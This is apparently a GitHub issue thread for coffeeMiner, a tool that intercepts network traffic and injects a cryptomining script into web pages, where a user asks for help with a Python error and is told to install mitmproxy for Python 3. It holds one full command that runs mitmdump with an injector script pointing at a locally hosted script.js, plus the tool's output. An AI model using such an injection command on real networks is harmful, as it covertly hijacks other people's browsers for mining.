arnaucube/coffeeMiner

Help!?Error Script Injector

mirk91 opened this issue · 6 comments

Hello))
problem:
I run the command mitmdump -s 'injector.py http://192.168.0.22:8000/script.js' -T
and have an error:

Loading script: injector.py http://192.168.0.22:8000/script.js
Script error: injector.py line 11: invalid syntax
Proxy server listening at http://0.0.0.0:8080

I beg your help, sorry if I'm to blame myself
please explain in detail.

which python version are you using?

python --version
Python 2.7.13

CoffeeMiner is implemented for Python 3

Well, I thought so, I did so alias python = python3
и python --version

Python 3.5.3
ran and got the same error

Loading script: injector.py http://192.168.0.22:8000/script.js
Script error: injector.py line 11: invalid syntax
Proxy server listening at http://0.0.0.0:8080

Im use ubuntu 17.04

pls help me..

try installing mitmproxy for python3

thank you, you helped me, you're cool)